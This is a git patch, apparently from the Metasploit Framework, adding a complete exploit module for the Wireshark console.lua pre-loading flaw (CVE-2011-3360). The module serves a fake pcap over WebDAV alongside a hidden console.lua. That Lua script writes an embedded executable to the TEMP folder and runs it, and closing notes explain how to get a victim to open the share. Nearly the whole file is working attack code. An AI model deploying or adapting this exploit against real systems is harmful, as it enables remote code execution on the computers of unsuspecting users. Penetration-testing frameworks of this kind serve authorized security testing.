From 30f13984ea1aee5188bcffc1bae0e9fa721da913 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Nov 2011 21:24:48 -0600 Subject: [PATCH] Add wireshark console.lua exploit (CVE-2011-3360) --- .../exploits/windows/misc/wireshark_lua.rb | 337 ++++++++++++++++++ 1 file changed, 337 insertions(+) create mode 100644 modules/exploits/windows/misc/wireshark_lua.rb diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb new file mode 100644 index 0000000000..296f33c276 --- /dev/null +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -0,0 +1,337 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Wireshark console.lua pre-loading vulnerability", + 'Description' => %q{ + This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a + pcap file, Wireshark will actually check if there's a 'console.lua' file in the same + directory, and then parse/execute the script if found. Versions affected by this + vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r', #Metasploit + ], + 'References' => + [ + ['CVE', '2011-3360'], + ['OSVDB', '75347'], + ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'], + ['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Wireshark 1.6.1 or less', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 18 2011", #Didn't go public until 2011-09-21 though + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]), + OptString.new('URIPATH', [ true, "The URI to use", "/" ]), + OptString.new('FILENAME', [ true, "The name of the pcap file", "msf.pcap"]) + ], self.class) + + deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL + end + + def on_request_uri(cli, request) + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + end + + def process_get(cli, request) + print_status("URI requested: #{request.uri.to_s}") + if request.uri =~ /\.lua$/ + # Load lua script + print_status("Sending lua script") + send_response(cli, @p, {'Content-Type'=>'application/octet-stream'}) + elsif request.uri =~ /#{datastore['FILENAME']}/ + # Load an empty pcap file + # Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat + pcap = '' + pcap << "\xd4\xc3\xb2\xa1" #Magic number + pcap << "\x02\x00" #Major version number + pcap << "\x04\x00" #Minor version number + pcap << "\x00\x00\x00\x00" #GMT to local correction + pcap << "\x00\x00\x00\x00" #Accuracy of timestamp + pcap << "\xff\xff\x00\x00" #Maxlength of captured packets in octets + pcap << "\x01\x00\x00\x00" #Data length type + print_status("Sending fake pcap file") + send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'}) + else + # Don't know the request, return not found + print_error("Don't care about this file, 404") + send_not_found(cli) + end + return + end + + def process_options(cli, request) + vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}") + headers = { + 'MS-Author-Via' => 'DAV', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'Cache-Control' => 'private' + } + + resp = create_response(207, "Multi-Status") + headers.each_pair {|k,v| resp[k] = v } + resp.body = '' + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + def process_propfind(cli, request) + path = request.uri + vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") + body = '' + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" + + if path !~ /\/$/ + if path.index(".") + print_status("Sending 404 for #{path} ...") + resp = create_response(404, "Not Found") + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + else + print_status("Sending 301 for #{path} ...") + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + print_status("Sending directory multistatus for #{path} ...") + + body = <<-BODY + + + + #{path} + + + + 2010-07-19T20:29:42Z + Mon, 19 Jul 2010 20:29:42 GMT + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + + BODY + + body = body.gsub(/^\t\t/, '') + + if request["Depth"].to_i > 0 + if path.scan("/").length < 2 + body << generate_shares(path) + else + #Set filenames, and set the hidden attribute + filenames = + [ + ['console.lua', true], + [datastore['FILENAME'], false] + ] + body << generate_files(path, filenames) + end + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def gen_timestamp(ttype=nil) + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") + end + + def gen_datestamp(ttype=nil) + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + end + + def generate_shares(path) + share_name = datastore['SHARENAME'] + share = <<-SHARE + + #{path}#{share_name}/ + + + + #{gen_datestamp} + #{gen_timestamp} + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + + SHARE + share = share.gsub(/^\t\t/, '') + return share + end + + def generate_files(path, items) + trail = path.split("/") + return "" if trail.length < 2 + + files = "" + items.each do |f, hide| + h = hide ? '1' : '0' + files << <<-FILES + + #{path}#{f} + + + + #{gen_datestamp} + #{rand(0x10000)+120} + #{gen_timestamp} + "#{"%.16x" % rand(0x100000000)}" + T + + + + + + + + + + + + application/octet-stream + + HTTP/1.1 200 OK + #{h} + + + FILES + end + + files = files.gsub(/^\t\t\t/, '') + + return files + end + + def get_lua_payload + # Generate our executable payload, and then convert every byte + # in decimal format + p = generate_payload_exe + buf = '' + p.each_byte do |b| + buf << "\\#{b.to_s}" + end + + # Create the lua script that contains our payload + var_payload_name = rand_text_alpha(5) + var_temp_name = rand_text_alpha(5) + lua_script = <<-LUA + #{var_payload_name} = "#{buf}" + + #{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe" + local f = io.open(#{var_temp_name}, "wb") + f:write(#{var_payload_name}) + f:close() + os.execute(#{var_temp_name}) + LUA + + lua_script = lua_script.gsub(/^\t\t/, '') + return lua_script + end + + def exploit + @p = get_lua_payload + super + end +end + +=begin +Example of how to open the share: +My Computer -> Tools -> Map Network Driver -> Sign up for online storage or +connect to a network server -> Choose another network location -> +enter the network address + +On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this: +http://192.168.1.11/ +But on a fully patched XP SP3, the same URI format will not work. Windows will try to list +the share via SMB, and the victim will not see the share. In this case, you should specify +the URI to like this: +http://192.168.1.11/files +=end \ No newline at end of file